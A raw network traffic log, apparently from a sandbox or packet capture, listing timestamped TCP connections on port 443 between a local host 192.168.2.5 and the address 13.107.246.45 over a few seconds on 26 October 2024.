Oct 26, 2024 13:45:00.595619917 CEST	49727	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.595633030 CEST	443	49727	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.616964102 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.617896080 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.617921114 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.618457079 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.618465900 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.638155937 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.639030933 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.639048100 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.639765978 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.639775991 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.656291962 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.656920910 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.656940937 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.657794952 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.657802105 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.665832996 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.666610956 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.666625977 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.667221069 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.667224884 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.725862980 CEST	443	49727	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.725965977 CEST	443	49727	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.726036072 CEST	49727	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.726382971 CEST	49727	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.726406097 CEST	443	49727	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.726443052 CEST	49727	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.726449013 CEST	443	49727	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.729984999 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.730041027 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.730137110 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.730400085 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.730417967 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.749896049 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.749969006 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.750232935 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.750325918 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.750325918 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.750340939 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.750349998 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.754060984 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.754107952 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.754216909 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.754436970 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.754453897 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.768466949 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.768611908 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.768681049 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.768959045 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.768959045 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.768980980 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.768992901 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.772706985 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.772741079 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.772893906 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.773055077 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.773067951 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.789664030 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.790040970 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.790123940 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.790185928 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.790185928 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.790199041 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.790208101 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.793760061 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.793812037 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.794230938 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.794388056 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.794398069 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.799746037 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.799804926 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.799890995 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.800169945 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.800180912 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.800204992 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.800210953 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.803790092 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.803831100 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.803903103 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.804071903 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.804084063 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.481818914 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.482819080 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.482836008 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.483251095 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.483258009 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.506529093 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.507359982 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.507402897 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.507924080 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.507935047 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.510191917 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.510659933 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.510677099 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.511338949 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.511347055 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.528894901 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.529643059 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.529656887 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.530098915 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.530102968 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.554172039 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.554769993 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.554800034 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.555299997 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.555310011 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.616883993 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.616975069 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.617321968 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.617360115 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.617383957 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.617399931 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.617407084 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.621084929 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.621136904 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.621242046 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.621419907 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.621433020 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.636651039 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.637917042 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.637983084 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.638031960 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.638048887 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.638057947 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.638063908 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.640748024 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.640815973 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.640986919 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.641053915 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.641053915 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.641072035 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.641082048 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.641412973 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.641459942 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.641545057 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.641722918 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.641738892 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.643721104 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.643755913 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.644134045 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.644287109 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.644301891 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.663149118 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.663230896 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.663348913 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.663933992 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.663933992 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.663957119 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.663966894 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.668104887 CEST	49739	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.668164968 CEST	443	49739	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.668612003 CEST	49739	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.668759108 CEST	49739	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.668773890 CEST	443	49739	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.860655069 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.860735893 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.860837936 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.861067057 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.861093998 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.861112118 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.861119986 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.864490986 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.864542007 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:01.864770889 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.865135908 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:01.865150928 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.372497082 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.373667955 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.373703957 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.374471903 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.374480009 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.376918077 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.385426998 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.385464907 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.386096954 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.386101961 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.386450052 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.386857986 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.386868000 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.387425900 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.387432098 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.390331030 CEST	443	49739	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.390865088 CEST	49739	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.390887022 CEST	443	49739	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.391438007 CEST	49739	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.391446114 CEST	443	49739	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.504687071 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.504792929 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.504899979 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.505254030 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.505273104 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.505289078 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.505295038 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.509439945 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.509495974 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.509582043 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.509844065 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.509856939 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.515073061 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.515363932 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.515424013 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.515464067 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.515477896 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.515505075 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.515511036 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.518481970 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.518532991 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.518702030 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.518908978 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.518927097 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.519984007 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.520118952 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.520205021 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.520226955 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.520236015 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.520245075 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.520250082 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.521279097 CEST	443	49739	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.521397114 CEST	443	49739	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.521553993 CEST	49739	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.521938086 CEST	49739	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.521948099 CEST	443	49739	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.524787903 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.524807930 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.524970055 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.524990082 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.525053978 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.525055885 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.525156021 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.525166035 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.525243044 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.525252104 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.606008053 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.609569073 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.609612942 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.610162020 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.610173941 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.735306025 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.735538960 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.735606909 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.735747099 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.735774994 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.735810995 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.735821009 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.739684105 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.739729881 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:02.739808083 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.739989996 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:02.740006924 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.249803066 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.250523090 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.250555992 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.251305103 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.251319885 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.260312080 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.261010885 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.261076927 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.261521101 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.261538982 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.291974068 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.292751074 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.292773008 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.293426991 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.293432951 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.295284033 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.295691967 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.295711040 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.296122074 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.296127081 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.379844904 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.379997969 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.380116940 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.380417109 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.380438089 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.380455971 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.380464077 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.383915901 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.383960962 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.384036064 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.384258032 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.384268999 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.390326977 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.390533924 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.390686989 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.390738964 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.390748978 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.390760899 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.390767097 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.393750906 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.393778086 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.393855095 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.394020081 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.394036055 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.427208900 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.427273035 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.427342892 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.427623034 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.427645922 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.427659988 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.427666903 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.430054903 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.430202007 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.430295944 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.430756092 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.430818081 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.430906057 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.430919886 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.430936098 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.430941105 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.430948019 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.431365967 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.431394100 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.433362007 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.433386087 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.433453083 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.433597088 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.433610916 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.468341112 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.468974113 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.468992949 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.469535112 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.469540119 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.600178003 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.600250959 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.600472927 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.600717068 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.600745916 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.600759983 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.600769043 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.604619026 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.604715109 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:03.604857922 CEST	49750	443	192.168.2.5	13.107.246.45
